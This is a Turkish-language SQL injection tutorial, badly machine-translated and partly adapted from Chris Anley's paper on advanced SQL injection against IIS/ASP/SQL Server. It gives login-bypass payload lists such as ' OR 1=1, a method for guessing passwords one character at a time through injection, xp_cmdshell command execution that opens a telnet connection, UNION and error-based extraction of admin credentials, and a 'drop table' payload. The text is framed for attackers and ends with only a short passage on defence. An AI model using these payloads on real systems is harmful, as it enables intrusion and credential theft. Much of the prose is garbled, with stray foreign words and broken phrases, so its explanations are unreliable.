İhtiyacımız olan haraçları nasıl alabiliriz? Dize giriş parametresi

SQL Enjeksiyonu dosit bir bilgisayar korsanının kaldırması için iyi bir fırsattır
sunucuya erişim. І küçük zusilli ile, vin
Neyse götüreceğim 🙂

Kodlayıcı içeride

Şu anda veritabanları üzerinde çalışıyoruz
BASIC, C++, Java, PERL, PHP, Assembler ve JavaScript dahil olmak üzere pratik olarak tüm diller programlanabilir! Ve bu programlara DBMS - veritabanı yönetim sistemlerinden başka bir şey denmez. Çoğu zaman, veri tabanı finansal görevlerin geliştirilmesi için kullanılır,
muhasebe, personel yönetimi ve bunların durgunluğu da internette bulundu.

Veritabanları genellikle WEB ekleri yazmak için kullanılır. Kayıt verilerini, oturum kimliklerini kaydetme, aramaları organize etme ve daha fazla işlem gerektiren diğer görevleri kaydetme amacıyla en iyi seçimdirler.
çok fazla veri. Veritabanına yükseltme için sunucu teknolojileri kullanılır: PHP, PERL, ASP, vb. İşlerin iyileşmeye başladığı yer burasıdır. Sunucudayken
Tüm yamalar yüklenir ve güvenlik duvarı 80 hariç tüm bağlantı noktalarını engeller veya herhangi bir veriye erişmek için kimlik doğrulama gerekiyorsa kötü niyetli bir bilgisayar korsanı SQL Injection'dan yararlanabilir. Bu saldırının özünde WEB teknolojisine ve SQL'e yapılan saldırı yatmaktadır. Zengin olanın sağında internet sayfaları Koristuvach'ın verilerini işlemek için özel bir form oluşturun SQL veritabanına yıkandı. Bu tekniği dikkatli kullanırsanız daha iyi sonuçlar alabilirsiniz...

SQL Enjeksiyonu

Saldırıyı açıklamak gerekirse, siteye çok önemli bir aracı çekmek için gittiğiniz açık ve ne yazık ki yalnızca kayıtlı hesapları alabileceğinizi ve kaydın elbette kuruş maliyeti olduğunu unutmayın 🙂 Vermek istemiyorum kalan kazançlar, ancak programlar olmadan mümkün değil! Artık bunlarla ilgili fal bakmanın zamanı geldi
veritabanlarında arama SQL. Örneğin, PHP'de kullanıcı adınızı ve şifrenizi kontrol etmek şöyle görünebilir:

$Result = mysql_db_query($db, "SELECT * FROM $table WHERE user="$login"AND
şifre = "$şifre" ");
$num_rows = mysql_num_rows($result);
mysql_close($bağlantı);
if($num_rows!=0)
{
// DOĞRULAMA TAMAM
}
başka
{
// DOĞRULAMA HATASI
}

İki yorum ekledim: "DOĞRULAMA TAMAM" - bunun yerine suçlu
Şifreniz ve giriş bilgileriniz iade edileceği için bu bölümde görünecek kodu girin. Bir diğer “DOĞRULAMA HATASI” ise kodun açıklanacağı yer olup, bu da onun çeşitli yanlışlıklarını gösterecektir. Formu doldurduğunuzda www.server.com adını taşıyan “http://www.server.com?login=user&password=31337” şeklinde görünecektir.
bağlanmamız istenen sunucu. Şaka yaptıklarını biliyorduk ve bu işaret üzerine işe döneceğiz SQL. Ayrıca, yetkilendirme için kullanıcı adınızı ve şifrenizi girmeniz gerekiyorsa, o zaman SQL Matima şu bakışa sordu:

SEÇİN * FROM kullanıcılardan WHERE giriş = "kullanıcı" VE
şifre = "31337"

Bunun anlamı, yakında: Kullanıcı veritabanındaki oturum açma adının "user" ve parolanın "31337" olduğu tüm kayıtları değiştirin. Böyle bir kayıt varsa kayıt memuru demektir, yoksa hayır... Ama basitlik adına her şey düzeltilebilir. Program veri aktarımını kontrol etmezse veya tam olarak veri olup olmadığını kontrol ederse durum ciddidir. SQL talimatlar. Bu uygulamada kullanıcı adı ve şifre olmak üzere iki alan bulunmaktadır ancak şifre alanına “31337 'AND email =' giriniz. [E-posta korumalı]"(Bacaklar olmadan), o zaman biraz farklı olacak:

* Kullanıcılardan SEÇİN NEREDE oturum açma = "kullanıcı" VE şifre = "31337" VE
e-posta = " [E-posta korumalı]"

E-posta alanı her oluşturulduğunda da doğrulanacaktır. Boolean cebirinin temellerini anlarsanız, "ve" işlemine ek olarak "veya" da vardır ve geri kalanı SQL tarafından desteklenir, daha fazlasının mümkün olduğu aklınıza gelir.
Her zaman gerçeğe dönen zihni eklemenin yolunu anlatacağız. Bunu yapmak için girişte “kullanıcı 'OR 1 = 1” girmeniz gerekir, bu durumda şunu göreceksiniz:

SEÇİN * FROM kullanıcılardan WHERE giriş = "kullanıcı" VEYA 1 = 1-- "VE
şifre = "31337"

Yeni başlayanlar için, “-”nin bir ifadenin sonu anlamına geldiğini ve “-”den sonraki her şeyin olduğunu bilmelisiniz.
bakmayacaksın! Çık dışarı, para kazandık ve sorduk:

SEÇİN * FROM kullanıcılardan WHERE giriş = "kullanıcı" VEYA 1 = 1

Bildiğiniz gibi “1 = 1” ekledik, yani doğrulama kriteri “ya giriş 'kullanıcı' ya da 1 = 1” olacak ve 1 her zaman 1'e eşit (suçlu Dani Shepovalov'un aritmetiği olabilir :) ). Şüphelerimizi doğrulamak için
Adres çubuğuna “http://www.server.com?login=user veya 1 = 1 & şifre = 31337” yazın. Bu, girdiğimiz giriş bilgilerinin bir rol oynamadığı ancak
İşte şifre! Ve matriste... ah, sistemde ihtiyacımız olanı sakince indirebiliriz.

Ama hepsi teoride. Uygulamada talebin nasıl oluştuğu, hangi verilerin hangi sırayla iletildiği bizim için bilinmiyor. Bu nedenle tüm alanlar için “user 'OR 1 = 1” belirtmeniz gerekmektedir. Alınan alanların olup olmadığını görmek için gönderim formunu da kontrol etmelisiniz. HTML'de koku şu şekilde tanımlanır: " " Öyle ise bu sayfayı kaydedin ve bu alanların değerlerini değiştirin. İçlerine yerleştirilen değerler genellikle SQL ifadelerinin geçerliliğini kontrol etmeyi unutur. Her şey “ACTION” parametresi için formda (“FORM” etiketi) bir izleme gerektiriyorsa, bu isteği derleyen betiğin bir sonraki yolunu girin.

Bira, oluşumların yıkanacağı şekilde aynı şekilde unutma,
Bu popo aşağıdaki şekillerde oluşturulabilir:

SEÇİN * FROM kullanıcılardan NEREDE (oturum açma = "kullanıcı" VE şifre = "31337")
SEÇİN * FROM kullanıcılardan WHERE giriş = "kullanıcı" VE şifre = "31337"
SEÇ * FROM kullanıcılardan WHERE giriş = kullanıcı VE şifre = 31337

Bu durumda aşağıdaki seçenekleri deneyebilirsiniz:

'VEYA 1 = 1
»VEYA 1 = 1
VEYA 1 = 1
'VEYA' a '=' a
»VEYA« a »=» a
') VEYA (' a '=' a
VEYA '1' = '1'

Her şey betiğin ve programcının anlamına bağlıdır. Her insan kendine göre çalışma gücüne sahip olduğundan, seçtiğiniz programın en basit seçenek olmaması tamamen mümkündür. Bundan hiçbir iz yok
Eğer karınızı elinizden alıyorsanız vazgeçin. gerekli
daha fazla seçeneği deneyin...

Şifre tespiti

Yetkilendirmeyi atlamak kötüdür, ancak çoğu zaman vikorist olduğunuz kapı kapanır ve sizin için olan her şey boşa gider.
Programcı aptal olmadığına göre kimin izi bulunacaktı?
Tüm delikleri kapatacaktır. Bu gibi durumlarda, daha sonra onun hakkında daha fazla bilgi ekleyerek kolayca geçiş yapabilirsiniz. Doğru karar vericiler için şifreyi tahmin etmek yardımcı olabilir.
kimlik doğrulama sonuçlarının analizi. Öncelikle aşağıdakileri gireceğimiz şifreyi tahmin etmeye çalışalım:

'VEYA şifre>' a

Yetkilendirmenin tamamlandığına dair bize onay vermek için şifre şu anlama gelir:
“a” harfiyle değil, “a” harfiyle başlıyor, listenin ardından gelen harflerle başlıyor. Daha da çöker ve sunulur
"a", ayrıca "b", "c", "d", "e" ... vb. yerleştirin. Bize henüz şifrenin yanlış olduğunu söylemiyorlar. Tüm süreç “x” sembolüyle başlasın, bu durumda durumu geliştirmek için iki seçenek vardır: şifre bulunur veya şifre bu sembolle başlar. İlk seçeneği işaretlemek için şifre konumuna şunu yazın:

'VEYA şifre =' ​​x

Şifre kabul edildiyse ve içeri girmenize izin verildiyse, bu şifreyi tahmin ettiğiniz anlamına gelir! Hayır, sonra başka bir sembol seçin,
aynı şekilde koçandan. İki karakter için kontrol edin
sadece aynı olması gerekiyor. Üzgünüm, şifrenizi veriyorsunuz ve giriş bilgilerinizi bulmaya çalışıyorsunuz 🙂
Şifrenizi ve giriş bilgilerinizi bulduktan sonra çözemezsiniz, ancak başkalarını öğrenebilirsiniz. Bunu yapmak için bulunan şifrenin kalan karakterini kontrol etmeye başlamanız gerekir. Yani şifre “xxx” ise şifrenin doğrulanması gerekmektedir.
"XXY":

'VEYA şifre='xxx

Böylece birden fazla seçeneği kaçırmazsınız!

MS SQL Sunucusu

MS SQL Server gerekli filtrelemenin eksik olduğunu tespit edemedi. SQL Enjeksiyonun güvenlik açığı devre dışı bırakılabilir
komuta etmek uzak bir sunucuya daha fazla yardım için exec master..xp_cmdshell. Bu tasarımı vikoristuvat'a ale
SEÇİM işleminin tamamlanması gereklidir. SQL'de talimatlar noktalarla ayrılır. Belirli bir IP'ye Telnet aracılığıyla bağlanmak için şifreyi/giriş bilgilerini girmeniz gerekir:

"; Exec master..xp_cmdshell" telnet 192.168.0.1 "-

MS SQL Server, veritabanına kaydedilen kullanıcı adlarını ve parolaları tanımanıza olanak tanıyan daha birçok özelliğe sahiptir. Avantajlara ilişkin bildirimlerin başka bir sunucuya ve onlar aracılığıyla yönlendirildiği durumlar
Analiz, tablonun adını, alanlarını ve türlerini tanımlayabilir. Neyden sonra sorabilirim?

'Kullanıcılardan UNION TOP 1 girişini SEÇİN-

(Giriş alanı adları giriş, kullanıcılar ise tablo adlarıdır,
af analizi sürecinde öğrenme).

Cevap gelebilir:


Nvarchar değerini dönüştürürken sözdizimi hatası "(! LANG: admin" to a column of data type int. !} !}
/default.asp, satır 27

Artık “admin” adı altında bir muhabirin olduğunu biliyoruz. Artık şifrenizi alabiliriz:

'UNION, giriş =' admin' olan kullanıcılardan EN İYİ 1 şifreyi SEÇİN'-

sonuç:

ODBC Sürücüleri için Microsoft OLE DB Sağlayıcısı "80040e07" hatası
Nvarchar değerini dönüştürürken sözdizimi hatası "(! LANG: xxx" to a column of data type int. !} !}
/tedault.asp, satır 27

Artık giriş hesabının “xxx” şifresiyle “admin” olduğunu biliyoruz. Kibarca söyleyebilirsin
Hızlanın ve sisteme girin 😉

Ayrıca SQL ile çalışmak için pek çok başka işlev de mevcuttur.
Bir veritabanıyla çalışırken verileri silebilir, değiştirebilir, kendi verilerinizi ekleyebilir, dosyaları düzenleyebilir ve kayıt defterine erişebilirsiniz.
Zagalom, SQL Server - kural :)

zachist

Bütün bunlar doğal olarak benzersizdir. Kimin için yapabilirim
Filtreleri hızlandırın,
nadanimi virobniki. Kararlarınızı bilebilirsiniz, örneğin tüm tek tekleri değiştirin
katlanmış bacaklar (için SQL Sizden tekli olanları istemenizi rica ediyorum) veya yanlışlıkla. Nasıl girmeniz gerektiğine bağlı olarak yalnızca @ tanklardan i harflerini seçebilirsiniz.
e-mail adresleri. Ve Perla'da harikalar var
sorgunuzu başarıyla güncel olarak başarıyla çalıştıran DBI :: DBD modülündeki 🙂 quote () işlevi SQL. Bir sürü çözüm var, sadece onlara ihtiyacınız var
Hızlan. Yoksa her şey aynı...

Bu çalışma, Chris Anley'in SQL Server Uygulamalarında Gelişmiş SQL Enjeksiyonu adlı çalışmasının bir kısmının çevirisidir. ()
Gelecek yazılarda eğer zamanı gelirse bu çeviri sonuna kadar tamamlanacaktır.

Not: Çeviri, hafif ve tarihsel amaçlar açısından daha faydalı olacaktır.

Makalenin orijinal başlığı: Vikorist dili SQL'in eklerine SQL-in'ektsii eklendi.

soyut

Bu makalede, çeşitli Microsoft Internet Information Server / Active Server Pages / SQL Server platformları için gizli “SQL enjeksiyonu” yöntemleri anlatılmaktadır. Eklerde SQL enjeksiyonu için çeşitli seçenekler ele alınmakta ve veri doğrulama yöntemlerinin yanı sıra SQL enjeksiyonlarının bulunabileceği veritabanlarının korunması açıklanmaktadır.

Girmek

Yapılandırılmış Sorgu Dili (SQL), veritabanlarıyla etkileşimde bulunmak için kullanılan yapılandırılmış bir dildir. SQL dilinin pek çok "lehçesi" vardır, ancak günümüzde çoğunlukla hepsi eski ANSI standartlarından biri olan SQL-92 standardını temel almaktadır. SQL'in ana işlem bloğu, bir dizi sonucun (sonuç kümesi) döndürülmesi anlamına gelen bir dizi ifadeden oluşan bir sorgudur. SQL virüsleri, veritabanlarının yapısını değiştirebilir (Vikorist veri işleme virüsleri - DLL) ve depolarını yönetebilir (Vikorist veri işleme virüsleri - DML). Bu çalışmamızda Microsoft SQL Server üzerinde geliştirilen transact-SQL'e bakacağız.

Bir saldırganın eke gönderilen verileri değiştirmek için SQL kodunu bir sorguya ekleyebilmesi sayesinde SQL enjeksiyonları mümkündür.

Başlangıçta, SQL virüsü bir sonraki adıma benziyor:

Yazarlardan kimlik, ad, soyad seçin

Bu, "yazarlar" tablosunun sütunlarından "kimlik", "ad" ve "soyadı" alır ve tablodaki tüm satırları döndürür. Ortam bir şarkının “yazar”ıyla çevrelenebilir, örneğin:

Yazarlardan kimlik, ad, soyadı seçin; burada ön ad = "john" ve soyadı = "smith"

Bu cümlede satır değişmezlerinin ayrıldığına dikkat etmek gerekir. tek ayak. "Ad" ve "soyad" bilgilerinin müşteri tarafından girilen veriler olduğu aktarılmaktadır. Bu formda, kötü kişi yetkili SQL sorgusunu ekleyebilecek ve ardından yetkili değeri zeyilname'ye ekleyecektir. Örneğin:

Adı: jo "hn Soyadı: smith

Todi Viraz saldırgan bakışı kabul ediyor:

Yazarlardan kimlik, ad, soyadı seçin; burada ön ad = "jo" hn "ve soyadı = "smith"

Veritabanı böyle bir sorguyu işlemeye çalıştığında aşağıdaki hatayı görüntüler:

Sunucu: Msg 170, Seviye 15, Durum 1, Satır 1 Satır 1: "hn" yakınında yanlış sözdizimi.

Öğütmenin nedeni, yıkamadaki ayırıcıların yapısını sızdırmaz hale getiren tek bir ayağın sokulmuş olmasından kaynaklanacaktır. Böylece veritabanı başarısız bir şekilde “hn” komutunu kaldırmaya çalışacak ve bu da ölüme yol açacaktır. Saldırganın forma aşağıdaki bilgileri girmesi durumunda:

Adı: jo "; tablo yazarlarını bırak-- Soyadı:

Daha sonra bakacağımız "yazarlar" tablosu görünecektir.

Enjeksiyon formundan bacakları tek tek çıkarıp "değiştirip değiştirmeyeceğimizi" merak edebilirsiniz, bu da sorunumuzu çözebilir. Ve haklısınız, ancak bu sorunu çözmenin herhangi bir yönteminde çeşitli sorunlar vardır. Öncelikle tüm bilgiler “satırlara” (string) girilmez. Bir yazar için form, yazarın sayı olarak adlandırılan “kimliğini” temsil edecektir. Örneğin kaptanımız yaklaşan sıralamaya bakabilir:

Kimlik = +1234 olan yazarlardan kimlik, ad, soyad seçin

Bu durumda saldırgan sayısal verilere herhangi bir SQL virüsünü kolaylıkla ekleyebilir. Diğer SQL sorgu türlerinde farklı sınırlayıcılar kullanılır. Örneğin, Microsoft Jet DBMS'de sınırlayıcı "#" simgesidir. Başka bir deyişle, tek bacaklardan “kaçmak”, pes edebileceği için öldürmenin en basit yolu değildir. Bunlar hakkında daha sonra daha detaylı konuşacağız.

İstemciyi herhangi bir şekilde yetkilendirmek amacıyla veritabanına erişimi reddetmek için SQL kullanan Active Server Pages'ı (ASP) temel alan oturum açma sayfasına bakalım.

Kullanıcı adı ve şifrenin girileceği giriş formunu yerleştirmek için yan kodu gireceğiz.

Giriş sayfası

Giriş yapmak

Kullanıcı adı:
Şifre:

Aşağıda girilen verinin doğru olduğu anlamına gelen kod (process_login.asp) bulunmaktadır.